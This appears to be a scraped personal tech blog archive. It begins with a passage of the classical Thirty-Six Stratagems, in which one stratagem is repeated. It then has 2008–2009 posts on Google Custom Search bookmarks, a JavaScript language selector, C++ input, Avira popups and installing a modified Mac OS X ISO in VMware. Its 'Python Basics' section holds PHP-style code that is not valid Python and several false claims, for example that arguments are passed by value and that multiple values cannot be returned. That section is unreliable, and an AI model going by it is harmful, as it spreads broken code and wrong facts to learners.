捉賊而必關門,非恐其逸也,恐其逸而為他人所得也;且逸者不可復追,恐其誘也。賊署,奇兵也,遊兵也,所以勞我者也。吳子曰:"今使一死賊,伏於礦野,千人追之,莫不梟視狼顧。何者?恐其暴起而害己也。是以-人投命,足懼千夫。"追賊者,賊有脫逃之機,勢必死鬥;若斷其去路,則成擒矣。故小敵必困之,不能,則放之可也。

第二十三計遠交近攻
形禁勢格,利從近取,害以遠隔。上火下澤。

【按語】
混戰之局,縱橫捭闔之中,各自取利。遠不可攻,而可以利相結;近者交之,反使變生肘腑。範睢之謀,為地理之定則,其理甚明。
第二十四計假道伐虢
兩大之間,敵脅以從,我假以勢。困,有言不信。

第二十四計假道伐虢
兩大之間,敵脅以從,我假以勢。困,有言不信。

【按語】
假地用兵之舉,非巧言可誑,必其勢不受-方之脅從,則將受雙方之夾擊。如此境況之際,敵必迫之以威,我則誑之以不害,利其倖存之心,速得全勢,彼將不能自陣,故不戰而滅之矣。如:晉侯假道於虞以伐虢,晉滅虢,虢公丑奔京師,師還,襲虞滅之。
【按語】
假地用兵之舉,非巧言可誑,必其勢不受-方之脅從,則將受雙方之夾擊。如此境況之際,敵必迫之以威,我則誑之以不害,利其倖存之心,速得全勢,彼將不能自陣,故不戰而滅之矣。如:晉侯假道於虞以伐虢,晉滅虢,虢公丑奔京師,師還,襲虞滅之。

第五套並戰計

第二十五計偷梁換柱
頻更其陣,抽其勁旅,待其自敗,而後乘之,曳其輪也。

【按語】
陣有縱橫,天衡為梁,地軸為柱。樑柱以精兵為之,故觀其陣,則知精兵之所有。共戰他敵時,頻更其陣,暗中抽換其精兵,或竟代其為樑柱;勢成陣塌,遂兼其兵。並此敵以擊他敵之首策也。

第二十六計指桑罵槐
大凌小者,警以誘之。剛中而應,行險而順。
【按語】
率數未服者以對敵,若策之不行,而利誘之,又反啟其疑,於是故為自誤,責他人之失,以暗警之。警之者,反誘之也。此蓋以剛險驅之也。或曰:此遣將之法也。

第二十七計假癡不癲
寧偽作不知不為,不偽作假知妄為。靜不露機,雲雪屯也。

【按語】
假作不知而實知,假作不為而實不可為,或將有所為。司馬懿之假病昏以誅曹爽,受巾幗假請命以老蜀兵,所以成功;姜維九伐中原,明知不可為而妄為之,則似癡矣,所以破滅。兵書曰:"故善戰者之勝也,無智名,無勇功。"當其機未發時,靜屯似癡;若假癲,則不但露機,則亂動而群疑。故假癡者勝,假癲者敗。或日:假癡可以對敵,並可以用兵。宋代,南俗尚鬼。狄青征儂智高時,大兵始出桂林之南,因佯祝曰:"勝負無以為據。"乃取百錢自持,與神約,果大捷,則投此錢盡錢面也。左右諫止,儻不如意,恐沮師,青不聽。萬眾方聳視,已而揮手一擲,百錢旨面。於是舉兵歡呼,聲震林野,青亦大喜;顧左右﹒取百丁(釘)來,即隨錢疏密,布地而帖丁(釘)之,加以青紗籠,手自封焉。曰:"俟凱旋,當酬神取錢。"其後平邕州還師,如言取錢,幕府士大夫共祝視,乃兩面錢也。

第二十八計上屋抽梯
假之以便,唆之使前,斷其援應,陷之死地。遇毒,位不當也。

【按語】
唆者,利使之也。利使之而不先為之便,或猶且不行。故抽梯之局,須先置梯,或示之梯。如:慕容垂、姚萇諸人慫秦苻堅侵晉,以乘機自起。

第二十九計樹上開花
借局布勢,力小勢大。鴻漸於陸,其羽可用為儀也。

【按語】
此樹本無花,而樹則可以有花,剪綵貼之,不細察者不易發,使花與樹交相輝映,而成玲瓏全局也。此蓋布精兵於友軍之陣,完其勢以威敵也。

第三十計反客為主
乘隙插足,扼其主機,漸之進也。

【按語】
為人驅使者為奴,為人尊處者為客,不能立足者為暫客,能立足者為久客,客久而不能主事者為賤客,能主事則可漸握機要,而為主矣。故反客為主之局:第-步須爭客位;第二步須乘隙;第三步須插足;第四足須握機;第五乃為主。為主,則並人之軍矣;此漸進之陰謀也。如李淵書尊李密,密卒以敗;漢高視勢未敵項羽之先,卑事項羽。使其見信,而漸以侵其勢,至垓下-役,-亡舉之。

第六套敗戰計

第三十一計美人計
兵強者,攻其將;將智者,伐其情。將弱兵頹,其勢自萎。利用禦寇,順相保也。

【按語】
兵強將智,不可以敵,勢必事先。事之以土地,以增其勢,如六國之事秦:策之最下者也。事之以幣帛,以增其富,如宋之事遼金:策之下者也。惟事以美人,以佚其志,以弱其體,以增其下之怨。如勾踐以西施重寶取悅夫差,乃可轉敗為勝。

第三十二計空城計
虛者虛之,疑中生疑;剛柔之際,奇而復奇。

【按語】
虛虛實實,兵無常勢。虛而示虛,諸葛而後,不乏其人。如吐蕃陷瓜州,王君煥死,河西惱懼。以張守圭為瓜州刺史,領餘眾,方復築州城。版干裁立,敵又暴至。略無守禦之具。城中相顧失色,莫有鬥志。守圭日:"徒眾我寡,又瘡痍之後,不可以矢石相持,須以權道制之。"乃於城上,置酒作樂,以會將士。敵疑城中有備,不敢攻而退。又如齊祖廷為北徐州刺史,至州,會有陳寇,百姓多反。廷不關城門。守陴者,皆令下城,靜座街巷,禁斷行人雞犬。賊無所見聞,不測所以,或疑人走城空,不設警備。廷復令大叫,鼓噪聒天,賊大驚,頓時走散。

第三十三計反間計
疑中之疑。比之自內,不自失也。

【按語】
間者,使敵自相疑忌也;反間者,因敵之間而間之也。如燕昭王薨,惠王自為太子時,不快於樂毅。田單乃縱反間曰:"樂毅與燕王有隙,畏誅,欲連兵王齊,齊人未附。故且緩攻即墨,以待其事。齊人唯恐他將來,即墨殘矣。惠王聞之,即使騎劫代將,毅遂奔趙。又如周瑜利用曹操間諜,以間其將;陳平以金縱反間於楚軍,間範增,楚王疑而去之。亦疑中之疑之局也。

第三十四計苦肉計
人不自害,受害必真;假真真假,間以得行。童蒙之吉,順以巽也。

【按語】
間者,使敵人相疑也;反間者,因敵人之疑,而實其疑也;苦肉計者,蓋假作自間以間人也。凡遣與己有隙者以誘敵人,約為響應,或約為共力者:皆苦肉計之類也。如:鄭武公伐胡而先以女妻胡君,並戮關其思;韓信下齊而驪生遭烹。

第三十五計連環計
將多兵眾,不可以敵,使其自累,以殺其勢。在師中吉,承天寵也。

【按語】
龐統使曹操戰艦勾連,而後縱火焚之,使不得脫。則連環計者,其結在使敵自累,而後圖之。蓋一計累敵,-計攻敵,兩計扣用,以摧強勢也。如宋畢再遇賞引敵與戰,且前且卻,至於數四。視日已晚,乃以香料煮黑,布地上。復前博戰,佯敗走。敵乘勝追逐。其馬已饑,聞豆香,乃就食,鞭之不前。遇率師反攻,遂大勝。皆連環之計也。

第三十六計走為上
全師避敵。左次無咎,未失常也

【按語】
敵勢全勝,我不能戰,則:必降;必和;必走。降則全敗,和則半敗,走則未敗。未敗者,勝之轉機也。如宋畢再遇與金人對壘,度金兵至者日眾,難與爭鋒。-夕撥營去,留旗幟於營,豫縛生羊懸之,置其前二足於鼓上,羊不堪懸,則足擊鼓有聲。金人不覺為空營,相持數日,乃覺,欲追之,則已遠矣。(《戰略考‧南宋》)可謂善走者矣!

Sunday, May 31, 2009

Saturday, May 02, 2009

Blogger Hack List


月曆
最新回應
blogger-ext2, 說明
繼續閱讀
http://lvchen.blogspot.com/search/label/Blogger%20Hack
http://abintech.azhai.org/search/label/BLOGGER%20HACK
http://joshnote.blogspot.com/
http://racklin.blogspot.com/search/label/blogger-ext
http://cjhtech.blogspot.com
:)

Control Lights with Twitter on Vimeo

Control Lights with Twitter from Justin Wickett on Vimeo.

Lifehacker - Get and set reminders via Twitter - SMS

Lifehacker - Get and set reminders via Twitter - SMS: "Twitter can now send you reminders at intervals you request. Just direct message the timer user on Twitter: something like d timer 45 pay parking meter and you'll get a private message back in 45 minutes that reads 'pay parking meter.' If your direct messages go to your cell phone, this is a really nice way to set up reminders on the fly. Twitter's quickly transforming from a way to broadcast what you had for lunch to a robust personal mobile command line, with this, Remember the Milk and GCal integration."

Monday, April 27, 2009

三步驟讓 Google 只搜尋網路書籤連結內容



三步驟讓 Google 只搜尋網路書籤連結內容


How to do



  1. 將網路書籤 RSS Feed 輸入到下面第一欄位。

    譬如我的 Delicious 網址 http://feeds.delicious.com/v2/rss/migi?count=999 (記得把 count 改大一點

  2. 將產生的文字複製到這個連結第一欄 XML specification URL,接著點 Refresh

  3. 在下面 "Try searching for" 隨便輸入,接著點後面的 Search


這時就可以儘量搜尋了,試著搜尋最近加入的文章內容。也可以把這個網頁Bookmark起來,以後直接開來使用




RSS網址:













覺得太簡單沒什麼功能可以調整嗎?這裡有更複雜完整版

Sunday, April 26, 2009

Let Google Custom Search search in your online bookmarks

This idea has been staying in my mind for 1 year. Today I found GCS(google custom search) added a new function: Linked CSE

Linked CSE makes adding searching links open.  That is, you can have your search list outside the CSE server.  You can let CSE search in your own bookmarks!

What's the difference with traditional bookmark search:
Old bookmark search engines only record and search for page titles.  But what if we want to search the contents we bookmarked?  Or if we just forgot the title but we remember its content?  When our bookmarks are in a huge number, it's not easy to find anything we really want.

Let me show you how big different it will be.  For the first example, I bookmarked a site www.freedownloadaday.com in my Decilious bookmarks.  Using Delicious's search function I can only find this site from 3 keywords: free, download, and day.  However go to freedownloadaday's site, today's post is Clean up toolbar clutter.  I can go to my  GCS Homepage and search for "Clean up toolbar clutter".  This post is in the first result. This is what bookmark servers can't do.

You can try searching any other texts in my bookmark.

How it works
Now combining 3 main atoms by Google and Del.icio.us, I can let any online bookmark go with Google-supported context search feature.
The 3 atoms are:
  1. RSS Feed in that onlien bookmark
  2. GCS's advanced function: Linked CSE
  3. URL-based Tools for Linked CSE's

How to do
Firstly find the RSS feed of your boookmark.
My RSS feed is (default): http://feeds.delicious.com/v2/rss/migi?count=15 

Notice if we want more bookmarks to be fetched, simply change the count parameter to 999 (That's big enough I think :) -- The parameter name count varies depending on different provides.  Google Bookmarks uses num.

Log-in to your GCS website -> create/edit your engine -> In Control panel on the left, go to page Advanced. 
Locate Upload annotations, remember the bold text in that paragraph _cse_XXXXXXX
Locate Add nnotations feed, after adding a proper link in the textbox, you are done.

The GCS's URL-based tool can extract links from any web page or RSS and generate annotations(XML-based link description file for GCS).  So, we feed the RSS into the tool:
www.google.com/cse/tools/makeannotations?url=feeds.delicious.com%2Fv2%2Frss%2FMiGi%3Fcount%3D999&label=__your_label__&pattern=path
Here the parameters are:
  • url = feeds.delicious.com/v2/rss/migi?count=999 You have to encode symbols(/?=&) by yourself.  as following:
  • label = (important: You must change this value to that specified in your GCS advanced setting page.)  Find text: Label sites with _cse_XXXXXXXX if you want to include them in your Custom Search Engine
  • pattern = path
See here for more options
The encoding:

original characterescaped character
/%2F
?%3F
=%3D
&%26


More interesting CSE topic


Can I also search in my Google Bookmarks?
Yes. Use and modify this link
Unfortunately Google Bookmarks is not public, even its RSS feed.  Unless you build your own transmitter between RSS feeds and annotations with automatic logging into Google account,  you cannot have dynamic google bookmark update.

Can I search in a specific tag/label corresponding to my bookmark setting?
Technically Yes! But it needs more tune and may not be easy.  See the following relative work for the Delicious convert tool by a smart guy. (You have to provide your delicious account)

related works:
Further Reading:



Wednesday, April 22, 2009

CodeProject: Explorer Shell Context Menu. Free source code and programming help

CodeProject: Explorer Shell Context Menu. Free source code and programming help: "Screenshot -"

Thanks to this article. I finally can show explorer shell context menu in my vb.net program.

Screenshot -

Language Auto Detector works with lang attribute自動語言選擇--現在直接使用 lang="zh" 即可

This is English in <span lang="en">
這是<span lang="zh">下看到的中文
請使用左方下拉表單選擇語言Please choose your language in the drop-down list on the left

Thursday, April 16, 2009

Friday, April 03, 2009

Language Auto Detector works with lang attribute自動語言選擇--現在直接使用 lang="zh" 即可

This is English in <span lang="en">
這是<span lang="zh">下看到的中文



Using this format is much easier than using the class attribute when posting articles.
PS. Note that the post title can also include span tag!! It changes as you change the language setting!!


這樣撰寫文章還是比較方便。原理是由 javascripti 搜索 span 及 div tag,再增加對應語言的 className。也就是說,就方法 class="lang_zh" 還是有效。

要注意的是為了不要讓瀏覽器 loading 太重,搜尋tag只含 div 和 span,也就是說,如果要在其他tag內有語言自動選擇功能,還是要乖乖寫 class="lang_zh"...不過這狀況總是沒有使用 span 的來得多。
PS. 連標題都可以寫span tag!! bogger真是太寬鬆了!

code:

// for IE6 or before: change <span lang="en"> to <span class="lang_en">
modList = document.getElementsByTagName("span");
for (var i=0; i<modList.length; i+=1) {lang2class(modList[i]);}
modList = document.getElementsByTagName("div");
for (var i=0; i<modList.length; i+=1) {lang2class(modList[i]);}


function lang2class(elm)
{
if (attr=elm.getAttribute("lang")) {elm.className+=" lang_"+attr;}
}

Thursday, April 02, 2009

中英對照測試 (請使用上方下拉表單)

From: 自由電子報-國際新聞
Music fans turn up volume of legal downloads:study 研究:樂迷合法下載量增多

◎ 鄭寺音

Music fans worldwide downloaded 420 million songs legally over the Internet in 2005, a 20-fold increase from two years ago, research showed.

研究指出,全球音樂迷2005年在網路上合法下載4億2千萬首歌曲,兩年來增加了20倍。

Record labels reaped a 1.1-billion-dollar harvest from digital downloads, up from 380 million dollars the previous year, with about 40 percent of this revenue earned from music for mobile phones.

唱片業者從數位下載獲得11億美元的收益,前一年則有3億8千萬美元,這項收益約4成是從手機音樂賺來的。

...



Content:

<span lang="en">Music fans turn up volume of legal downloads:study</span&tt;<span lang="zh"> 研究:樂迷合法下載量增多</span>

◎ 鄭寺音
<div lang="en">
Music fans worldwide downloaded 420 million songs legally over the Internet in 2005, a 20-fold increase from two years ago, research showed.
</div><div lang="zh">
研究指出,全球音樂迷2005年在網路上合法下載4億2千萬首歌曲,兩年來增加了20倍。
</div><div lang="en">
Record labels reaped a 1.1-billion-dollar harvest from digital downloads, up from 380 million dollars the previous year, with about 40 percent of this revenue earned from music for mobile phones.
</div><div lang="zh">
唱片業者從數位下載獲得11億美元的收益,前一年則有3億8千萬美元,這項收益約4成是從手機音樂賺來的。
</div>

!! Simplest Automatic Javascript+CSS Multilingual Selector!!(號外)最簡單的 Javascript+CSS 網站語言自動選擇器



測試:Test:
This is English

這是中文





讓頁面自動選擇browser預設語言,一直是非英語主流部落客要將網站改成雙語環境最重要的功能
標題已經下英文了(我現在英文想得比中文快),當然這篇文章之後也要變成提供雙語

It has always been needed for a multi-lingual blogger to build a site with automatic language selector. Now I have devised a very good way (I believe):


我的目標是 My Aim


blog只要寫一遍,中英文都放在同一篇文章中
但是post出去後,瀏覽器會自動選擇語言
此外,利用cookie做到讓使用者可以選擇希望看到的語言,甚至讓所有語言都呈現出來

We want to write blog once and only once. We want to put all languages into the same post, so it's easy to write/update.
Besdies, auto selection, we also want to select language manually.



原理 How To Do



1. 在文件中使用不同class 的tag包住不同語言:

1. Use tags with different class names to distinguish language.


<div class="lang_en">
This is English
</div>
<div class="lang_zh">
這是中文
</div>



2. 利用 CSS 之 display:none 來隱藏其中一種或多種語言。
Javascript可以讀取browser語言設定: browser.language (FF) / browser.browserLanguage(IE)

定義CSS如下:

2. Then, make use of CSS's display:none to hide text without the language we choose. Javascript can get the browser's language setting: browser.language (FF) / browser.browserLanguage(IE)

The language-selecting CSS:


.lang_zh_off .lang_zh
{ display:none; }

.lang_en_off .lang_en
{ display:none; }



如何利用Javascript修改CSS?最簡單的方法就是修改body(或其他大範圍tag)使其擁有不同className。

But how to modify CSS settings by Javascript? The simplest way it to modify the class name of large-range tag like body.



譬如若要讓body下只顯示中文,那就修改<body class="lang_en_off">
若要兩個都消失,則為 <body class="lang_en_off lang_zh_off">
為什麼要指定消失,而不指定顯示的語言? 因為如果要指定顯示,則必須先預設所有語言文字消失。一旦程式出錯,則整篇文章都沒有了。所以先使預設為全顯示,比較安全。

If we want to show jsut English in body, then change the body tag as:<body class="lang_en_off">. It can be done by Javascript. If we wnat to hide two languages: <body class="lang_en_off lang_zh_off">

A note for the reason why I define the trigger for "off" but not "on": If we let everything "off" but only display some languages triggered by "on", once a program error occurs, no trigger is set. Then nothing will display. We would rather display all text once the program does not work.



注意:class比id好用,因為一個tag可以很容易利用空白分隔,使其包含不同className

PS.
原想利用 <div lang="en"> 這種正規方式來指定語言,但因 IE6 不支援 CSS attribute selector而作罷 (*[lang="en"])

3. 再來重頭戲便是javascript:

3. The most important, the javascript code:




function __set_lang()
{
/*
//simple test:
alert (document.body.className);
document.body.className= "lang_zh_off lang_en_off";

alert (document.body.className);
return;
*/
/*
detectList['zh']='zh';
detectList['en']='en';
detectList['default'] ='en';
*/

// detect browser default language
var langCode = navigator.language || navigator.browserLanguage;
var lang = langCode.toLowerCase();

// detect language
var attr="",found=false;
lang = trim(lang).substr(0,2);

if (lang!="zh") attr+=" lang_zh_off"; else found=true;
//default:en
if (found) attr+=" lang_en_off";

// write body class
var body_attr = body_original_attr;
if (body_attr==null) body_attr="";
document.body.className= body_attr+attr;

// alert ("done:"+document.body.className);
}
function trim(str)
{
return str.replace(/^\s+/, "").replace(/\s+$/, "");
}



利用 .className 修改及讀取body的class屬性。
(原本我用 setAttribute('class',...), 在IE6下竟發現這樣改不能讓CSS正確判斷修改過的class屬性!)



4.最後是把javascript 加到HTML中:

4. Finally, here's the HTML sample code:


<pre>
<body>
<script language="javascript" src="lang.js"></script>
...



這個部份的javascript 一定要加在body之後! (若要使用新版可以直接使用 lang attribute的code, 必須加到HTML最下面</body>附近!!)
另一種方法是修改 body 為 body onload="__set_lang()"

Be aware that this code must be added in the last line before </body> Another way is to modify body tag as: body onload="__set_lang()"



5. 此外cookie和下拉式表單比較簡單 請自行發揮, 或參考我包好的:

5. In addition, we can use cookie to store user preferred language. Display a drop-down list on the page. It is easier and I skip the details. See my packed codes here:

http://www-scf.usc.edu/~chunming/lang.css
http://www-scf.usc.edu/~chunming/lang.js


此blog 和我的首頁就是用這兩個檔案

This site and my personal website are examples that uses the two files above.

Python Basics

Python Basics
Functions
  • Definition: Functions in Python are defined with the following syntax:
    def funct(arg_11, arg_2, ..., arg_n):
    print "This is a function."
    return value
    Any Python code, including other function and class definitions, may appear inside a function. Functions may also be defined within a conditional, but in that case the function's definition must be processed prior to its being called. Python does not support function overloading but does support variable number of arguments, default arguments, and keyword arguments. Return types are not specified by functions.
  • Arguments: Function arguments are passed by value so that if you change the value of the argument within the function, it does not get changed outside of the function. If you want the function to be able to modify non-local variables, you must declare them as global in the first line of the function. Note that if you declare any variables as global, that name cannot be reused in the argument list, i.e. this would cause an error:
    function double(x):
    global x
    x = x*2
    return
    double(x)
    Instead this could be done
    function double(n):
    n = n * 2
    return n
    x = double(x)

    Or
    function doubleX():
    global x
    x = x * 2
    return
    doubleX()

  • Default Arguments: A function may define default values for arguments. The default must be a constant expression or array and any defaults should be on the right side of any non-default arguments.
    def square(x = 5):
    return x*x
    If this function is called with square(), it will return 25. Otherwise, if it is called with square(n) , it will return n^2.
  • Variable length argument lists: Variable length arguments are supported by being wrapped up in a tuple. Before the variable number of arguments, zero or more normal arguments may occur:
    def var_args(arg1, arg2, *args):
  • Keyword arguments: Functions can also be called using arguments of the form keyword = value:
    def player(name, number, team="Florida"):
    print(name + "wears number " + str(number) + "for " + team)
    player("Matt Walsh", 44)
    player(number = 44, name = "David Lee")
    player("Anthony Roberson", number = 1)
    player(name = "J.J. Redick", number = 4, team = "Duke")
  • Return: Values are returned from the function with the return command: return var. You can not return multiple values, but that can be achieved by returning an array or object. Return immediately ends execution of the function and passes control back to the line from which it was called.
  • Variable Functions: Python supports the concept of variable functions. That means that if a variable can point to a function instead of a value. Objects within a method can be called similarly.
    def test():
    print 'This is a test.'
    var = test
    var()
    #this calles test()
    var = circle.setRadius
    var(3)
    #this calls circle.setRadius(3)

Wednesday, April 01, 2009

Automatic Language Selection

Automatic Language Selection

var langcodes=["fr", "es"];

// Browser Language Redirect script
// copyright 3rd January 2006, Stephen Chapman
// permission to use this Javascript on your web page is granted
// provided that all of the code in this script (with the sole exception
// of the langcodes array entries) is used without any alteration

var langCode = navigator.language || navigator.systemLanguage;
var lang = langCode.toLowerCase();
lang = lang.substr(0,2);
var dest = window.location.href;
for (i=langcodes.length-1;i >= 0; i--)
{
if (lang==langcodes[i]){
dest = dest.substr(0,dest.lastIndexOf('.')) + '-' + lang.substr(0,2) + dest.substr(dest.lastIndexOf('.'));
window.location.replace ?window.location.replace(dest) :window.location=dest;
}
}

Tuesday, February 17, 2009

cin,cin.getline为何不能共同使用. C/C++ / C语言 - CSDN社区 community.csdn.net

cin,cin.getline为何不能共同使用. C/C++ / C语言 - CSDN社区 community.csdn.net
解决的办法很简单:在
cin >> n;
后添加如下一行代码即可:
cin >> ws;

藏經閣: cin >> 與 getline(cin, s)合用的問題

藏經閣: cin >> 與 getline(cin, s)合用的問題

cin >> 與 getline(cin, s)合用的問題

string s0,s1;
cin >> s0;
getline(cin, s1);
cout << "s0 = " << s0 << endl;
cout << "s1 = " << s1 << endl;

問題
程式結果只出現s0字串,s1為空字串。

原因
cin >>會把'\n'留在buffer裡,如果getline()接著執行,就會馬上讀到'\n',
因此getline()就停止在此,不會再往下讀取資料。

解決方法
在使用如果getline之前,請先使用cin.ignore(100,'\n'),這行指令可以讓你
把skip過100個charskip到遇到'\n'為止。因此,在使用getline()的時候,
就可以得到乾淨的stream

Saturday, January 24, 2009

遠端桌面連線的密技

用了那麼久的微軟 遠端桌面 居然還不知道有特殊按鍵組合:
Ctrl + Alt +End
Ctrl + Alt +Break
...

JosephPhoto 的 網路日誌


Tuesday, December 09, 2008

Todo in research:
  • simple example -- why it does not follow central thm in the outcome
  • Read Appdendix ch. 3

Tuesday, November 11, 2008

Boolean Operators in VB .NET

Operators in VB .NET:
OperatorUse
Not Negation
AndConjunction
AndAlsoConjunction
Or Disjunction
OrElse Disjunction
Xor Disjunction

Download YouTube & Google Video clips via bookmarklets

Download YouTube & Google Video clips via bookmarklets

How can I play Flash Video (FLV) files on Windows?

Combining current CVS builds of Media Player Classic with the latest daily builds of ffdshow provides thorough FLV support. While ffdshow is capable of rendering FLV1, the FLV splitter/decoder incorporated in the CVS builds of Media Player Classic adds support for On2's VP6 codec (Flash8).

The FLV splitter/decoder can also be downloaded as a standalone DirectShow filter (source filter + splitter + decoder) to be combined with Media Player Classic's official stable builds or other DirectShow video players including Windows Media Player.

Another full-fledged video player with native (yet limited) FLV support is VLC media player. Designated Flash Video players like FLVPlayer by Martijn de Visser or Riva FLV Player handle FLV files (FLV1 & On2 VP6) fine, but are otherwise limited in functionality.

----
Why I need to play flv in a wmplayer? bc to embed a player controller in .NET programs, it costs $200+ for a flv player controller, but costs 0 for a wmplayer COM object.

Use MediaPlayer in .NET

1) Add the control to the Toolbox by right clicking the Toolbox, selecting "Choose Items...", picking the COM Components tab, and checking the box for the Windows Media Player control. 2) Drag/drop the Windows Media Control onto your form. 3) Play the file by setting the Url property on the player, e.g., mplayer.URL = c:\test.wmv mplayer.Ctlcontrols.currentPosition = 2 mplayer.Ctlcontrols.play()

MIDI programming

MSDN

Code Project from: Leslie Sanford - Programming

An Introduction to MIDI - Contents

Thursday, October 30, 2008

Chat -- Making Use of Google Custom Search

MiGi.Jimmy says:

我最近去google information session啊,他們說要進google要先衡量你聰不聰明夠不夠創新,所以如果有用過google api寫東西都可以寫在resume

MiGi.Jimmy says:

所以想來用google api寫些東西

(V同學) says:

可是用他的API寫就是創新嗎

MiGi.Jimmy says:

當然還要有用@@

MiGi.Jimmy says:

我覺得可以想想idea然後在網路上實現, 最好有自己的站

MiGi.Jimmy says:

或者寫google gadget也不錯

(V同學) says:

SOGA

(V同學) says:

不過我想我要進GOOGLE有點難~

MiGi.Jimmy says:

反正有什麼放什麼,然後就可以寫resume

(V同學) says:

嗯,是啊

(V同學) says:

你有想寫什麼嗎

MiGi.Jimmy says:

不知道也 如果跟網路相關的公司都有用吧

(V同學) says:

是沒錯

MiGi.Jimmy says:

我現在在想,google custom search 其實大家都沒在用

MiGi.Jimmy says:

可是如果把自己的bookmark 加到google custom search裡面,這樣以後找東西就很方便

MiGi.Jimmy says:

google custom search 你有用過嗎?

(V同學) says:

沒有,不過好像是站內搜尋的東西

MiGi.Jimmy says:

算是,但是其實你可以指定很多網址,他就搜那些網址的內容

(V同學) says:

了解

(V同學) says:

這樣就好像可以寫一些PLUG IN

MiGi.Jimmy says:

有時候找過的東西還想再找一遍

(V同學) says:

好像滿有趣的

MiGi.Jimmy says:

不過還不知道用什麼方法呈現

(V同學) says:

所以你說的是你只想從你的BOOK MARK找你要的資料

(V同學) says:

你可以寫FIRE FOXPLUG IN

MiGi.Jimmy says:

不只,你也可以開放給別人找

(V同學) says:

不然後是寫GOOGLE CHROMEPLUG IN

(V同學) says:

MiGi.Jimmy says:

趕流行

(V同學) says:

一定要的啊

(V同學) says:

這個行業就是趕流行

MiGi.Jimmy says:

嗯啊 希望是案一個按鈕,不但可以加bookmark還可以加到custom search

MiGi.Jimmy says:

順便提供加到del.icio.us

(V同學) says:

這是什麼

MiGi.Jimmy says:

那是一個網路上的bookmark

MiGi.Jimmy says:

這樣到任何電腦都可以取得自己的連結

MiGi.Jimmy says:

google bookmark 應該是學他的

(V同學) says:

了解

(V同學) says:

FIRE FOX也有這個PLUG IN

MiGi.Jimmy says:

(V同學) says:

我有用

(V同學) says:

滿不錯的

MiGi.Jimmy says:

你是說del.icio.us?

(V同學) says:

不是

MiGi.Jimmy says:

google

(V同學) says:

好像叫FOX MARK

MiGi.Jimmy says:

喔喔

(V同學) says:

不過你要有注冊才能用

(V同學) says:

而且只有FIRE FOX

MiGi.Jimmy says:

是喔 其他瀏覽器不行?

(V同學) says:

他是FIRE FOXPLUG IN,我想其他的不行吧

MiGi.Jimmy says:

他作法不太一樣 網路只是負責同步

MiGi.Jimmy says:

可是delicious是讓大家都放在他的主機上,然後還可以跟別人share標籤

(V同學) says:

MiGi.Jimmy says:

^^書籤

(V同學) says:

我了解

MiGi.Jimmy says:

不過書籤一多 就很難找

MiGi.Jimmy says:

即使給了tag也沒用

MiGi.Jimmy says:

後來我都把書籤寫在blog 天曉得之後要怎麼找到

(V同學) says:

哈哈

(V同學) says:

所以你想作SERCH

(V同學) says:

不錯啊,加油,等你寫出來

MiGi.Jimmy says:

對啊 就是這原因 所以可以試試書籤一股腦都丟到custom search

MiGi.Jimmy says:

希望有多點時間

Friday, October 24, 2008

Research Idea

  1. Bayssian: P(f|x)=P(x|f)*P(f)/P(x) (??) => MLE=arg max_f P(x|f)
  2. Find the g(x) to get 0 bias (=E{g(x1,x2...xN)} ) !!! even non-biased P not guarranty non-biased F!! So start from find good estimation of f

Friday, October 17, 2008

The Anatomy of a Search Engine

The Anatomy of a Search Engine
In this paper, we present Google, a prototype of a large-scale search engine which makes heavy use of the structure present in hypertext. Google is designed to crawl and index the Web efficiently and produce much more satisfying search results than existing systems. The prototype with a full text and hyperlink database of at least 24 million pages is available at http://google.stanford.edu/


Wednesday, September 24, 2008

How to Remove the Popup Ads in Avira Antivir - wikiHow

How to Remove the Popup Ads in Avira Antivir - wikiHow

Windows 2000 / Windows XP Pro

  1. Go to Start > Run.
  2. Type gpedit.msc and click OK.
  3. Navigate through User Configuration > Administrative Templates > System.
  4. Double click "Don't run specified Windows applications".
  5. Enable it and click show.
  6. Add "avnotify.exe".
  7. Click OK on all open windows.
  8. Restart.

Tuesday, September 09, 2008

JosephPhoto 的 網路日誌我的網誌 - 【春節企劃】安裝 Mac OS X for x86 之一:VMware 設�

JosephPhoto 的 網路日誌我的網誌 - 【春節企劃】安裝 Mac OS X for x86 之一:VMware 設

∮Ω奧米加空間∮-【原創】利用 VMware 安裝 Mac OS X JaS 10.4.8

∮Ω奧米加空間∮-【原創】利用 VMware 安裝 Mac OS X JaS 10.4.8

  • 事前準備

    首先請到 VMware 的網站填一些基本資料下載程式 http://www.vmware.com/download/ws/

    VMware Workstation 6.0.2  (for Windows Systems)

    Latest Released Version: 6.0.2 | 10/18/07 | 59824 | 314 MB


    接著請出 Google 大神尋找 Mac OS X JaS 10.4.8 AMD-Intel-SSE2-SSE3 with 10.4.9 這個版本的 Mac OS X 才能正常的在 VMware 使用喔~目前新的 APPLE LEOPARD 10.5.1 intel SSE2 and SSE3 Only 會出現4國語言無法安裝在 VMware 上的~


    等檔案找到後請利用 DAEMON Tools Lite 載入 ISO 檔來安裝 Mac OS X 用 VMware 直接載入無法安裝~
    DAEMON Tools Lite 下載位置
    http://www.daemon-tools.cc/dtcc/download.php?mode=ViewCategory&catid=5

    請先安裝好 VMware Workstation 與利用 DAEMON Tools Lite 載入 Mac OS X JaS 10.4.8 AMD-Intel-SSE2-SSE3 with 10.4.9 這個版本的 ISO 檔後進行下一步

  • 開始安裝

    開啟 VMware -> New Virtual Machine -> Next -> Typical -> Next -> Other -> Version 選擇 Other 64-bit -> Next -> 虛擬電腦的名稱可以自己的喜好取~我設 Mac OS -> Next -> 網路部分請選第二個 NAT -> Next -> 按下 完成 即可 新增成功出現的視窗請按 Close 關閉

    在 [裝置] 的 Memory 點滑鼠左鍵兩下 把虛擬電腦的記憶體改成 512 按下 OK 離開
    在 [裝置] 的 Floppy 點滑鼠左鍵兩下 把 Connect at power on 的勾勾取消 按下 OK 離開

    在 [指令] 按下啟動這部虛擬電腦當出現

    Press any key to install Mac OS X, or press F8 to enter startup options.(10)

    時請按任意鍵進入安裝 Mac OS X 的安裝畫面~依電腦的性能不同需要等待一點點的時間讓他跑~
    因為我是用 DAEMON Tools Lite 載入 ISO 檔 VMware 跑到一半會出現 ATAPI(CD-ROM) 與 SCSI 等等的訊息不管他按下 OK 繼續~
    接著就會出現 Mac OS X 的安裝畫面了~請選擇 以繁體中文作為主要語言 接著請到左上角 工具程式 -> 磁碟工具程式 -> 選擇 8.0 GB VMware Virtual IDE -> 分割 -> 卷宗架構 請選擇一個分割區 -> 卷宗資訊 名稱可自訂我設 OMEGA -> 畫面右下角的 分割 給她按下去 -> 跳出確認視窗請把 分割 按下去~
    分割完成後請按左上角的紅色X 離開磁碟工具程式

